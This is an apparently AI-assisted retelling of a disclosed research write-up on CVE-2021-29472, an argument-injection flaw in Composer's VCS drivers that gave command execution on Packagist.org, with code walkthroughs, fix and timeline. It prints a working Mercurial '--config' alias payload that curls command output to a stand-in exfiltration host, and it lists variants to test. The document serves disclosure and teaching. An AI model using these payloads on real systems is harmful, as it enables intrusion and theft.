Skip to content
RCE Write-up Intermediate

PHP Supply Chain Attack on Composer

Composer's VCS drivers passed user-controlled repository URLs to system commands without a '--' delimiter, allowing argument injection. An attacker could submit a package with a crafted URL to Packagist.org and execute arbitrary shell commands on its server.

Thomas Chauchefoin Follow

Published on blog.sonarsource.com

Supply chain attacks are a hot topic for development organizations today. Last year, in the largest ever software supply chain attack, 18,000 SolarWinds customers were infected with a backdoor.

Thomas Chauchefoin (@swapgs), on blog.sonarsource.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

Composer is the main dependency manager in the PHP ecosystem. Development teams use it to install and update third-party packages, and to keep applications working across environments and versions. To resolve where a package's code comes from, Composer queries an online service called Packagist, which determines the correct supply chain for package downloads. At the time of writing, the public Packagist infrastructure served around 1.4 billion download requests per month.

When Composer downloads a package, it first asks Packagist for the package metadata. That metadata contains, for each version, two fields describing where to fetch the code: source, pointing to the development repository, and dist, pointing to pre-built archives. To avoid re-implementing the logic of every version control system (VCS), Composer shells out to external commands such as git, svn and hg through a wrapper class called ProcessExecutor.

Packagist itself uses Composer's source code. When someone submits a repository URL to create a package, Packagist relies on Composer's API to fetch the package, so it supports Git, Subversion, Mercurial and other VCS backends. That reuse is what made a bug in Composer reachable from the public Packagist service.

PHP Supply Chain Attack on Composer
PHP Supply Chain Attack on Composer From the original on blog.sonarsource.com

Setup

The research was a source code review of Composer and of the Packagist codebase that consumes it. No special accounts or tooling are described beyond reading the code and, later, submitting a package to packagist.org. The relevant preconditions for exploitation are:

  1. A service that passes a user-controlled URL into Composer's VcsRepository (Packagist does this when a package is created).
  2. A VCS client on the server whose command line accepts options that change its behaviour, in this case Mercurial's --config.
  3. The ability to submit a repository URL to that service, which on Packagist only requires creating an account.

Finding it

The starting point is ProcessExecutor, which runs a command string through Symfony's Process component:

PHP
use Symfony\Component\Process\Process;
// [...]
class ProcessExecutor
{
    // [...]
    public function execute($command, &$output = null, $cwd = null)
    {
        if (func_num_args() > 1) {
            return $this->doExecute($command, $cwd, false, $output);
        }
        return $this->doExecute($command, $cwd, false);
    }
    // [...]
    private function doExecute($command, $cwd, $tty, &$output = null)
    {
        // [...]
        if (method_exists('Symfony\Component\Process\Process', 'fromShellCommandline')) {
            // [1]
            $process = Process::fromShellCommandline($command, $cwd, null, null, static::getTimeout());
        } else {
            // [2]
            $process = new Process($command, $cwd, null, null, static::getTimeout());
        }
        if (!Platform::isWindows() && $tty) {
            try {
                $process->setTty(true);
            } catch (RuntimeException $e) {
                // ignore TTY enabling errors
            }
        }
        $callback = is_callable($output) ? $output : array($this, 'outputHandler');
        $process->run($callback);

At [1] and [2] the $command parameter is executed in a shell. Most ProcessExecutor calls happen in VCS drivers, which handle cloning and extracting information from remote and local repositories. The Git driver is a representative example:

PHP
public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    if (preg_match('#(^git://|\.git/?$|git(?:olite)?@|//git\.|//github.com/)#i', $url)) {
        return true;
    }
    // [...]
    try {
        $gitUtil->runCommand(function ($url) {
            return 'git ls-remote --heads ' . ProcessExecutor::escape($url); // [1]
        }, $url, sys_get_temp_dir());
    } catch (\RuntimeException $e) {
        return false;
    }

The $url argument is escaped with ProcessExecutor::escape(), which prevents the shell from evaluating subcommands such as $(...) or backticks. What escaping does not prevent is a value that starts with dashes (--) and is therefore interpreted by the VCS client as an extra option. This bug class is called parameter or argument injection.

The same pattern appears in the other drivers, where user-controlled data is correctly escaped but concatenated into a system command. In the Subversion driver:

PHP
public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    $url = self::normalizeUrl($url);
    if (preg_match('#(^svn://|^svn\+ssh://|svn\.)#i', $url)) {
        return true;
    }
    // [...]
    $process = new ProcessExecutor($io);
    $exit = $process->execute(
        "svn info --non-interactive ".ProcessExecutor::escape($url),
        $ignoredOutput
    );

And in the Mercurial driver:

PHP
public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    if (preg_match('#(^(?:https?|ssh)://(?:[^@]+@)?bitbucket.org|https://(?:.*?)\.kilnhg.com)#i', $url)) {
        return true;
    }
    // [...]
    $process = new ProcessExecutor($io);
    $exit = $process->execute(sprintf('hg identify %s', ProcessExecutor::escape($url)), $ignored);
    return $exit === 0;
}

The authors note that argument injection bugs are often overlooked in code reviews and missed entirely in black-box engagements: escaping with escapeshellarg() neutralises shell metacharacters, but nothing warns that the value can still be treated as an option.

On its own this looks hard to exploit. Forcing a user to point Composer at an arbitrary attacker-controlled URL is unlikely, and if an attacker can already do that, publishing a malicious package and making Composer pull it would be easier. The question the researchers asked was whether the bug was useless.

Reaching it through Packagist

Any project becomes a package as soon as it contains a composer.json file in its top directory. Creating an account on packagist.org and submitting a repository URL makes Packagist fetch the project, parse its composer.json and create the package, which then becomes public and installable.

During creation, Packagist uses Composer's API to fetch the package. In packagist/src/Entity/Package.php it performs the following actions:

PHP
$io = new NullIO();
$config = Factory::createConfig();
$io->loadConfiguration($config);
$httpDownloader = new HttpDownloader($io, $config);
$repository = new VcsRepository(['url' => $this->repository], $io, $config, $httpDownloader); // [1]

$driver = $this->vcsDriver = $repository->getDriver(); // [2]
if (!$driver) {
    return;
}

$information = $driver->getComposerInformation($driver->getRootIdentifier());
if (!isset($information['name'])) {
    return;
}

if (null === $this->getName()) {
    $this->setName(trim($information['name']));
}

The VcsRepository class at [1] comes from Composer, and the getDriver() call at [2] triggers the supports() and initialize() methods of the VCS drivers:

  • GitHubDriver
  • GitLabDriver
  • GitBitbucketDriver
  • GitDriver
  • HgBitbucketDriver
  • HgDriver
  • PerforceDriver
  • FossilDriver
  • SvnDriver

These are exactly the classes where the argument injection bugs were found. The submitted repository URL is user-controlled, and Packagist uses Composer's API to fetch the package.

Exploitation

Because all drivers are basically vulnerable, the researchers looked for the easiest one to exploit.

Step 1: rule out Git

Argument injection on git is fairly well documented (--upload-pack, --output). However, git ls-remote expects one positional argument, and the injected value is surrounded by single quotes, so it is not possible to supply both --upload-pack and a positional argument. The researchers were not able to find a way to gain code execution through this path and moved on to the other drivers.

Step 2: find a useful Mercurial option

Reading the Mercurial manual while experimenting with the hg client, they noticed the --config flag, which loads new configuration directives into the client before any action is performed. The client supports the alias setting, described in the manual as follows:

It is possible to create aliases with the same names as existing commands, which will then override the original definitions. This is almost always a bad idea!

An alias can start with an exclamation point (!) to make it a shell alias. A shell alias is executed with the shell and will let you run arbitrary commands. As an example,

echo = !echo $@

An alias can therefore override identify, the command the Mercurial driver runs, with a shell command of the attacker's choice. Mercurial will execute it instead of looking for a remote repository.

Step 3: submit the payload

The final payload was:

Text
--config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)”

This value is placed where the driver expects the repository URL. --config=alias.identify=... defines an alias named identify whose body starts with !, making it a shell alias. When the driver runs hg identify <value>, Mercurial executes the alias body through the shell: curl sends the output of ls -alh to the exfiltration host.

After submitting a new package with this URL on packagist.org, the researchers received the following HTTP request body from an AWS host:

Text
total 120K
drwxrwxr-x  9 composer composer 4.0K Apr 21 23:19 .
dr-xr-xr-x 15 composer composer 4.0K Apr 20 07:38 ..
-r--r--r--  1 composer composer 8.7K Apr 20 07:38 .htaccess
-r--r--r--  1 composer composer 1.3K Apr 20 07:38 app.php
-r--r--r--  1 composer composer 8.2K Apr 20 07:38 apple-touch-icon-precomposed.png
-r--r--r--  1 composer composer 8.2K Apr 20 07:38 apple-touch-icon.png
dr-xr-xr-x  3 composer composer 4.0K Jan 13 14:35 bundles
dr-xr-xr-x  4 composer composer 4.0K Apr 20 07:38 css [...]
lrwxrwxrwx  1 composer composer   15 Aug 13  2020 packages.json -> p/packages.json
lrwxrwxrwx  1 composer composer   18 Aug 13  2020 packages.json.gz -> p/packages.json.gz
-r--r--r--  1 composer composer  106 Apr 20 07:38 robots.txt
-r--r--r--  1 composer composer  798 Apr 20 07:38 search.osd
dr-xr-xr-x  2 composer composer 4.0K Apr 20 07:38 static-error
-r--r--r--  1 composer composer 8.8K Apr 20 07:38 touch-icon-192x192.png

This confirmed command execution on the Packagist.org server. The researchers notified security (at) packagist.org promptly and did not try to elevate privileges.

Root cause

The mistake is that user-controlled values are escaped for the shell but not separated from the option list of the invoked VCS command. ProcessExecutor::escape() stops shell metacharacters from being evaluated, so $(...) and backticks in the URL do nothing. It does not stop a value beginning with -- from being parsed as an option by git, svn or hg. The drivers concatenate the escaped URL directly after the subcommand (git ls-remote --heads, svn info --non-interactive, hg identify), so the value is treated as an option rather than as an operand.

In the Mercurial case, the --config option is powerful enough to redefine a command as a shell alias, which turns an argument injection into arbitrary command execution. The vulnerable code is old: some of it dates back to the first versions of Composer, ten years earlier, and one of the bugs was introduced in November 2011.

Impact

On Packagist.org, the vulnerability allowed execution of arbitrary system commands on the server. Because Packagist serves more than 100 million package metadata requests per month, a vulnerability in such a central component has a large potential impact: the access could have been used to steal maintainers' credentials or to redirect package downloads to third-party servers delivering backdoored dependencies. That is the supply chain angle: compromising the service that resolves package sources can affect every organisation that installs from it.

The report notes that this Composer bug will only have a limited impact by itself. and that anyone using Composer and VcsRepository with user-controlled URLs, or running their own Packagist instance, should upgrade. The maintainers did not identify any sign of prior exploitation on the public Packagist instance. Because the software can also be installed on-premise, they advise looking for potential exploitation leftovers by searching for URLs starting with --config in composer.lock files.

Fix

The maintainers deployed a hotfix in production in under 12 hours, which prevented exploitation. Composer fixes were pushed on 27 April 2021 and releases 1.10.22 and 2.0.13 were published right after. Packagist moved to the up-to-date version of Composer.

As with most argument injection vulnerabilities, the fix consists of two characters: --. POSIX specifies:

The first -- argument that is not an option-argument should be accepted as a delimiter indicating the end of options. Any following arguments should be treated as operands, even if they begin with the '-' character.

Placing -- before the escaped URL makes the VCS client treat it as an operand even if it starts with a dash. The researchers note that fossil only recently improved support for this feature. They did not pursue that exploitation scenario, but it could have an interesting impact on environments where fossil 2.11 is not yet available, such as Debian Buster.

Timeline

Date Action
2021-04-22 First contact to security (at) packagist.org
2021-04-22 A hotfix is deployed in packagist.org
2021-04-26 CVE-2021-29472 assigned by GitHub
2021-04-27 Composer 1.10.22 and 2.0.13 are released

Variants to test

  1. Other VCS clients behind a URL parameter. Any service that passes a user-supplied repository URL to git, svn, hg, fossil or perforce is worth testing. A positive result is a value starting with -- that changes the client's behaviour, for example an error message revealing an unknown option, or output that shows the option was parsed.
  2. Mercurial --config aliases. Submit a URL of the form --config=alias.<command>=!<shell command> where <command> is the subcommand the driver runs. A positive result is a callback to a host you control containing the output of the shell command.
  3. Git options that write files or execute code. Try documented options such as --upload-pack and --output where the command line allows an option and a positional argument. A positive result is the option being accepted by the client.
  4. Fossil on older distributions. Test the same -- delimiter behaviour against fossil versions before 2.11, for example on Debian Buster. A positive result is the client treating the value as an option.
  5. On-premise Packagist instances. Search composer.lock files for URLs starting with --config, which the maintainers recommend as a way to find leftovers of attempted exploitation.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

Imagine a huge public library where anyone can drop off a box of code and anyone else can pick it up. The librarian does not read the boxes; it just records where each box came from and hands out the address. If you can trick the librarian into running a command on your behalf, you can reach into every shelf at once. That is roughly what happened here.

Composer is the tool most PHP developers use to fetch the third-party code their projects depend on. It asks an online service called Packagist where each package lives, then downloads it. Packagist runs Composer's own code on its servers to do this. The researchers read that code and found that a value a user supplies (a repository URL) is passed into system commands in a way that lets the user add extra options to those commands. On Packagist, that was enough to run arbitrary commands on the Packagist.org server. The team deployed a hotfix within 12 hours, and CVE-2021-29472 was assigned by GitHub.

PHP Supply Chain Attack on Composer
PHP Supply Chain Attack on Composer From the original on blog.sonarsource.com

The image is the article's title card: "PHP Supply Chain Attack on Composer", by Thomas Chauchefoin, dated 29 April 2021, filed under security.

Before the details, a few words that come up constantly:

  • Dependency: code written by someone else that your project uses. Like buying a ready-made door instead of growing the tree.
  • Package manager: the tool that downloads and updates those dependencies. Composer is the one for PHP.
  • Supply chain: everything that goes into your software before it reaches you. If one link is compromised, everything downstream is suspect.
  • VCS (version control system): software that tracks changes to code and stores it, such as Git, Subversion (svn) and Mercurial (hg). A repository is a project stored in one.
  • Shell: the program that reads a line of text and runs it as a command. When a program "shells out", it asks the shell to run another program.
  • Argument injection: a bug where a value you control is placed on a command line and is read as an option (a setting starting with - or --) instead of as plain data. The command then does something the author never intended.

Context

Composer is the main dependency manager in the PHP ecosystem. Development teams use it to install and update third-party packages, and to keep applications working across environments and versions. To work out where a package's code comes from, Composer queries an online service called Packagist, which determines the correct supply chain for package downloads. At the time of writing, the public Packagist infrastructure served around 1.4 billion download requests per month.

When Composer downloads a package, it first asks Packagist for the package metadata. Metadata is data about data: here, a small record describing the package. That record contains, for each version, two fields describing where to fetch the code: source, pointing to the development repository, and dist, pointing to pre-built archives. To avoid re-implementing the logic of every version control system, Composer shells out to external commands such as git, svn and hg through a wrapper class called ProcessExecutor. A wrapper class is a piece of code that sits in front of something else and handles all calls to it in one place.

Packagist itself uses Composer's source code. When someone submits a repository URL to create a package, Packagist relies on Composer's API to fetch the package, so it supports Git, Subversion, Mercurial and other VCS backends. An API (application programming interface) is a defined way for one program to ask another to do something, like a service counter with a fixed list of requests you can make. That reuse is what made a bug in Composer reachable from the public Packagist service.

Setup

The research was a source code review of Composer and of the Packagist codebase that consumes it. Source code review means reading the program's text the way an editor reads a manuscript, looking for mistakes. No special accounts or tooling are described beyond reading the code and, later, submitting a package to packagist.org. The relevant preconditions for exploitation are:

  1. A service that passes a user-controlled URL into Composer's VcsRepository (Packagist does this when a package is created).
  2. A VCS client on the server whose command line accepts options that change its behaviour, in this case Mercurial's --config.
  3. The ability to submit a repository URL to that service, which on Packagist only requires creating an account.

Finding it

The starting point is ProcessExecutor, which runs a command string through Symfony's Process component. Symfony is a widely used PHP framework, and its Process component is the part that starts other programs.

PHP
use Symfony\Component\Process\Process;
// [...]
class ProcessExecutor
{
    // [...]
    public function execute($command, &$output = null, $cwd = null)
    {
        if (func_num_args() > 1) {
            return $this->doExecute($command, $cwd, false, $output);
        }
        return $this->doExecute($command, $cwd, false);
    }
    // [...]
    private function doExecute($command, $cwd, $tty, &$output = null)
    {
        // [...]
        if (method_exists('Symfony\Component\Process\Process', 'fromShellCommandline')) {
            // [1]
            $process = Process::fromShellCommandline($command, $cwd, null, null, static::getTimeout());
        } else {
            // [2]
            $process = new Process($command, $cwd, null, null, static::getTimeout());
        }
        if (!Platform::isWindows() && $tty) {
            try {
                $process->setTty(true);
            } catch (RuntimeException $e) {
                // ignore TTY enabling errors
            }
        }
        $callback = is_callable($output) ? $output : array($this, 'outputHandler');
        $process->run($callback);

Line by line:

  • use Symfony\Component\Process\Process; imports the Process class so it can be used by its short name.
  • class ProcessExecutor declares the wrapper class.
  • public function execute($command, &$output = null, $cwd = null) is the public entry point. It takes the command text, an optional place to put output, and an optional working directory ($cwd). The & before $output means the caller's variable is filled in directly.
  • if (func_num_args() > 1) checks how many arguments were passed. If the caller wants output back, it calls doExecute with $output; otherwise it calls it without.
  • private function doExecute(...) is the private worker that actually starts the process.
  • if (method_exists(..., 'fromShellCommandline')) checks whether the installed Symfony version has a particular method. This is a compatibility check so the code works on old and new Symfony.
  • At [1], Process::fromShellCommandline($command, ...) builds a process from a command string that will be run by a shell.
  • At [2], the older path, new Process($command, ...) does the same job for older Symfony versions.
  • The if (!Platform::isWindows() && $tty) block optionally attaches a terminal (TTY) when not on Windows, and ignores failures.
  • $callback = is_callable($output) ? $output : array($this, 'outputHandler'); picks what to do with the program's output: either the caller's function or the class's own handler.
  • $process->run($callback); starts the program and feeds its output to that callback.

The key point is at [1] and [2]: the $command parameter is executed in a shell. Most ProcessExecutor calls happen in VCS drivers, which handle cloning and extracting information from remote and local repositories. A driver here is a small piece of code dedicated to one VCS. The Git driver is a representative example:

PHP
public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    if (preg_match('#(^git://|\.git/?$|git(?:olite)?@|//git\.|//github.com/)#i', $url)) {
        return true;
    }
    // [...]
    try {
        $gitUtil->runCommand(function ($url) {
            return 'git ls-remote --heads ' . ProcessExecutor::escape($url); // [1]
        }, $url, sys_get_temp_dir());
    } catch (\RuntimeException $e) {
        return false;
    }

Line by line:

  • supports(...) is a function that answers one question: can this driver handle this URL? It receives the URL in $url.
  • preg_match('#(^git://|\.git/?$|git(?:olite)?@|//git\.|//github.com/)#i', $url) is a pattern match. If the URL looks like a Git URL (starts with git://, ends in .git, contains git@, //git. or //github.com/), it returns true straight away. The i at the end makes the match case-insensitive.
  • try { ... } catch (\RuntimeException $e) { return false; } means: attempt the following, and if it throws an error, answer "no, I cannot handle it".
  • $gitUtil->runCommand(function ($url) { ... }, $url, sys_get_temp_dir()); runs a command built by the inner function, passing the URL and using the system temporary directory as the working directory.
  • return 'git ls-remote --heads ' . ProcessExecutor::escape($url); builds the command text. git ls-remote --heads asks a remote repository for its branch list. The . joins the fixed text with the escaped URL.
  • ProcessExecutor::escape($url) puts quotes around the URL so the shell treats it as one piece of text and does not interpret special characters inside it.

The $url argument is escaped with ProcessExecutor::escape(), which prevents the shell from evaluating subcommands such as $(...) or backticks. Backticks are the older way of writing $(...): both mean "run this and put the output here". What escaping does not prevent is a value that starts with dashes (--) and is therefore interpreted by the VCS client as an extra option. This bug class is called parameter or argument injection.

The same pattern appears in the other drivers, where user-controlled data is correctly escaped but concatenated into a system command. In the Subversion driver:

PHP
public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    $url = self::normalizeUrl($url);
    if (preg_match('#(^svn://|^svn\+ssh://|svn\.)#i', $url)) {
        return true;
    }
    // [...]
    $process = new ProcessExecutor($io);
    $exit = $process->execute(
        "svn info --non-interactive ".ProcessExecutor::escape($url),
        $ignoredOutput
    );

Line by line:

  • $url = self::normalizeUrl($url); tidies the URL into a standard form before using it.
  • The preg_match line returns true if the URL looks like Subversion (svn://, svn+ssh:// or contains svn.).
  • $process = new ProcessExecutor($io); creates the wrapper that will run the command.
  • $process->execute("svn info --non-interactive ".ProcessExecutor::escape($url), $ignoredOutput); runs svn info, which asks a repository for information about it. --non-interactive stops svn from asking questions. The escaped URL is appended at the end, and the output is discarded into $ignoredOutput.

And in the Mercurial driver:

PHP
public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    if (preg_match('#(^(?:https?|ssh)://(?:[^@]+@)?bitbucket.org|https://(?:.*?)\.kilnhg.com)#i', $url)) {
        return true;
    }
    // [...]
    $process = new ProcessExecutor($io);
    $exit = $process->execute(sprintf('hg identify %s', ProcessExecutor::escape($url)), $ignored);
    return $exit === 0;
}

Line by line:

  • The preg_match line returns true if the URL points at bitbucket.org or kilnhg.com, two hosting services for Mercurial repositories.
  • $process = new ProcessExecutor($io); creates the wrapper again.
  • sprintf('hg identify %s', ProcessExecutor::escape($url)) builds the text hg identify <escaped url>. sprintf fills the %s placeholder with the escaped URL. hg identify asks a repository to identify itself.
  • $exit = $process->execute(...) runs it and stores the exit code, a number where 0 usually means success.
  • return $exit === 0; answers "yes, I can handle it" only if the command succeeded.

The authors note that argument injection bugs are often overlooked in code reviews and missed entirely in black-box engagements. Black-box means testing a running system from the outside without seeing its code. Escaping with escapeshellarg() neutralises shell metacharacters, but nothing warns that the value can still be treated as an option.

On its own this looks hard to exploit. Forcing a user to point Composer at an arbitrary attacker-controlled URL is unlikely, and if an attacker can already do that, publishing a malicious package and making Composer pull it would be easier. The question the researchers asked was whether the bug was useless.

Reaching it through Packagist

Any project becomes a package as soon as it contains a composer.json file in its top directory. composer.json is a small settings file that lists a project's name and its dependencies. Creating an account on packagist.org and submitting a repository URL makes Packagist fetch the project, parse its composer.json and create the package, which then becomes public and installable.

During creation, Packagist uses Composer's API to fetch the package. In packagist/src/Entity/Package.php it performs the following actions:

PHP
$io = new NullIO();
$config = Factory::createConfig();
$io->loadConfiguration($config);
$httpDownloader = new HttpDownloader($io, $config);
$repository = new VcsRepository(['url' => $this->repository], $io, $config, $httpDownloader); // [1]

$driver = $this->vcsDriver = $repository->getDriver(); // [2]
if (!$driver) {
    return;
}

$information = $driver->getComposerInformation($driver->getRootIdentifier());
if (!isset($information['name'])) {
    return;
}

if (null === $this->getName()) {
    $this->setName(trim($information['name']));
}

Line by line:

  • $io = new NullIO(); creates a "do nothing" input/output object, so nothing is printed or asked during the automated fetch.
  • $config = Factory::createConfig(); builds a default configuration.
  • $io->loadConfiguration($config); attaches that configuration to the input/output object.
  • $httpDownloader = new HttpDownloader($io, $config); creates the component that downloads over HTTP.
  • At [1], new VcsRepository(['url' => $this->repository], ...) creates a repository object using the URL that was submitted. $this->repository is the user-supplied value.
  • At [2], $repository->getDriver() asks Composer to pick the right VCS driver for that URL, and stores it.
  • if (!$driver) { return; } stops if no driver matched.
  • $information = $driver->getComposerInformation($driver->getRootIdentifier()); fetches the package's composer.json information from the repository.
  • if (!isset($information['name'])) { return; } stops if the fetched data has no name.
  • if (null === $this->getName()) { $this->setName(trim($information['name'])); } sets the package name from the fetched data if it was not already set. trim removes surrounding spaces.

The VcsRepository class at [1] comes from Composer, and the getDriver() call at [2] triggers the supports() and initialize() methods of the VCS drivers:

  • GitHubDriver
  • GitLabDriver
  • GitBitbucketDriver
  • GitDriver
  • HgBitbucketDriver
  • HgDriver
  • PerforceDriver
  • FossilDriver
  • SvnDriver

These are exactly the classes where the argument injection bugs were found. The submitted repository URL is user-controlled, and Packagist uses Composer's API to fetch the package.

Exploitation

Because all drivers are basically vulnerable, the researchers looked for the easiest one to exploit.

Step 1: rule out Git

Argument injection on git is fairly well documented (--upload-pack, --output). However, git ls-remote expects one positional argument, and the injected value is surrounded by single quotes, so it is not possible to supply both --upload-pack and a positional argument. A positional argument is the plain value a command expects, such as the address of the repository, as opposed to an option that changes behaviour. The researchers were not able to find a way to gain code execution through this path and moved on to the other drivers.

Step 2: find a useful Mercurial option

Reading the Mercurial manual while experimenting with the hg client, they noticed the --config flag, which loads new configuration directives into the client before any action is performed. A configuration directive is a setting that changes how the program behaves. The client supports the alias setting, described in the manual as follows:

It is possible to create aliases with the same names as existing commands, which will then override the original definitions. This is almost always a bad idea!

An alias can start with an exclamation point (!) to make it a shell alias. A shell alias is executed with the shell and will let you run arbitrary commands. As an example,

echo = !echo $@

An alias is a nickname for a command. An alias can therefore override identify, the command the Mercurial driver runs, with a shell command of the attacker's choice. Mercurial will execute it instead of looking for a remote repository.

Step 3: submit the payload

The final payload was:

Text
--config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)”

This value is placed where the driver expects the repository URL. --config=alias.identify=... defines an alias named identify whose body starts with !, making it a shell alias. When the driver runs hg identify <value>, Mercurial executes the alias body through the shell: curl sends the output of ls -alh to the exfiltration host. curl is a command-line tool for making web requests, ls -alh lists files in a directory, and exfiltration means sending stolen data out to a server the attacker controls.

After submitting a new package with this URL on packagist.org, the researchers received the following HTTP request body from an AWS host:

Text
total 120K
drwxrwxr-x  9 composer composer 4.0K Apr 21 23:19 .
dr-xr-xr-x 15 composer composer 4.0K Apr 20 07:38 ..
-r--r--r--  1 composer composer 8.7K Apr 20 07:38 .htaccess
-r--r--r--  1 composer composer 1.3K Apr 20 07:38 app.php
-r--r--r--  1 composer composer 8.2K Apr 20 07:38 apple-touch-icon-precomposed.png
-r--r--r--  1 composer composer 8.2K Apr 20 07:38 apple-touch-icon.png
dr-xr-xr-x  3 composer composer 4.0K Jan 13 14:35 bundles
dr-xr-xr-x  4 composer composer 4.0K Apr 20 07:38 css [...]
lrwxrwxrwx  1 composer composer   15 Aug 13  2020 packages.json -> p/packages.json
lrwxrwxrwx  1 composer composer   18 Aug 13  2020 packages.json.gz -> p/packages.json.gz
-r--r--r--  1 composer composer  106 Apr 20 07:38 robots.txt
-r--r--r--  1 composer composer  798 Apr 20 07:38 search.osd
dr-xr-xr-x  2 composer composer 4.0K Apr 20 07:38 static-error
-r--r--r--  1 composer composer 8.8K Apr 20 07:38 touch-icon-192x192.png

This is the kind of listing ls -alh produces: file names, sizes, dates and permissions. It confirmed command execution on the Packagist.org server. The researchers notified security (at) packagist.org promptly and did not try to elevate privileges. Elevating privileges means trying to gain more power on the machine, for example becoming an administrator.

Root cause

The mistake is that user-controlled values are escaped for the shell but not separated from the option list of the invoked VCS command. ProcessExecutor::escape() stops shell metacharacters from being evaluated, so $(...) and backticks in the URL do nothing. It does not stop a value beginning with -- from being parsed as an option by git, svn or hg. The drivers concatenate the escaped URL directly after the subcommand (git ls-remote --heads, svn info --non-interactive, hg identify), so the value is treated as an option rather than as an operand.

In the Mercurial case, the --config option is powerful enough to redefine a command as a shell alias, which turns an argument injection into arbitrary command execution. The vulnerable code is old: some of it dates back to the first versions of Composer, ten years earlier, and one of the bugs was introduced in November 2011.

Impact

On Packagist.org, the vulnerability allowed execution of arbitrary system commands on the server. Because Packagist serves more than 100 million package metadata requests per month, a vulnerability in such a central component has a large potential impact: the access could have been used to steal maintainers' credentials or to redirect package downloads to third-party servers delivering backdoored dependencies. Credentials are the usernames and passwords or tokens that prove who you are. A backdoor is hidden code that lets an attacker in later. That is the supply chain angle: compromising the service that resolves package sources can affect every organisation that installs from it.

The report notes that this Composer bug will only have a limited impact by itself. and that anyone using Composer and VcsRepository with user-controlled URLs, or running their own Packagist instance, should upgrade. The maintainers did not identify any sign of prior exploitation on the public Packagist instance. Because the software can also be installed on-premise, they advise looking for potential exploitation leftovers by searching for URLs starting with --config in composer.lock files. On-premise means installed on your own servers rather than used as a public service. composer.lock is the file that records the exact versions and sources Composer installed.

Fix

The maintainers deployed a hotfix in production in under 12 hours, which prevented exploitation. A hotfix is an urgent patch applied directly to a live system. Composer fixes were pushed on 27 April 2021 and releases 1.10.22 and 2.0.13 were published right after. Packagist moved to the up-to-date version of Composer.

As with most argument injection vulnerabilities, the fix consists of two characters: --. POSIX specifies:

The first -- argument that is not an option-argument should be accepted as a delimiter indicating the end of options. Any following arguments should be treated as operands, even if they begin with the '-' character.

POSIX is a family of standards that defines how Unix-like systems behave. Placing -- before the escaped URL makes the VCS client treat it as an operand even if it starts with a dash. The researchers note that fossil only recently improved support for this feature. They did not pursue that exploitation scenario, but it could have an interesting impact on environments where fossil 2.11 is not yet available, such as Debian Buster.

Timeline

Date Action
2021-04-22 First contact to security (at) packagist.org
2021-04-22 A hotfix is deployed in packagist.org
2021-04-26 CVE-2021-29472 assigned by GitHub
2021-04-27 Composer 1.10.22 and 2.0.13 are released

A CVE is a public identifier for a known vulnerability, so people can refer to it unambiguously.

Variants to test

  1. Other VCS clients behind a URL parameter. Any service that passes a user-supplied repository URL to git, svn, hg, fossil or perforce is worth testing. A positive result is a value starting with -- that changes the client's behaviour, for example an error message revealing an unknown option, or output that shows the option was parsed.
  2. Mercurial --config aliases. Submit a URL of the form --config=alias.<command>=!<shell command> where <command> is the subcommand the driver runs. A positive result is a callback to a host you control containing the output of the shell command.
  3. Git options that write files or execute code. Try documented options such as --upload-pack and --output where the command line allows an option and a positional argument. A positive result is the option being accepted by the client.
  4. Fossil on older distributions. Test the same -- delimiter behaviour against fossil versions before 2.11, for example on Debian Buster. A positive result is the client treating the value as an option.
  5. On-premise Packagist instances. Search composer.lock files for URLs starting with --config, which the maintainers recommend as a way to find leftovers of attempted exploitation.

Glossary

  • Alias: a nickname for a command, which can be set to run something else instead.
  • API: a defined way for one program to ask another to do something.
  • Argument injection: a bug where a value you control is read as a command option instead of as plain data.
  • Backdoor: hidden code that lets an attacker in later.
  • Backticks: the older way of writing $(...); both mean "run this and put the output here".
  • Black-box testing: testing a running system from the outside without seeing its code.
  • Composer: the main dependency manager for PHP.
  • Configuration directive: a setting that changes how a program behaves.
  • Credentials: usernames, passwords or tokens that prove who you are.
  • CVE: a public identifier for a known vulnerability.
  • Driver: a small piece of code dedicated to one version control system.
  • Elevating privileges: trying to gain more power on a machine, for example becoming an administrator.
  • Exfiltration: sending stolen data out to a server the attacker controls.
  • Hotfix: an urgent patch applied directly to a live system.
  • Metadata: data about data; here, a small record describing a package.
  • On-premise: installed on your own servers rather than used as a public service.
  • Package manager: the tool that downloads and updates dependencies.
  • Packagist: the public online service that tells Composer where packages live.
  • Payload: the value an attacker sends to trigger the bug.
  • Positional argument: the plain value a command expects, as opposed to an option.
  • POSIX: a family of standards defining how Unix-like systems behave.
  • Repository: a project stored in a version control system.
  • Source code review: reading a program's text looking for mistakes.
  • VCS (version control system): software that tracks changes to code and stores it, such as Git, Subversion and Mercurial.
  • Wrapper class: code that sits in front of something else and handles all calls to it in one place.

More by Thomas Chauchefoin

View all

5 more disclosed reports, best first.

More from Packagist

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.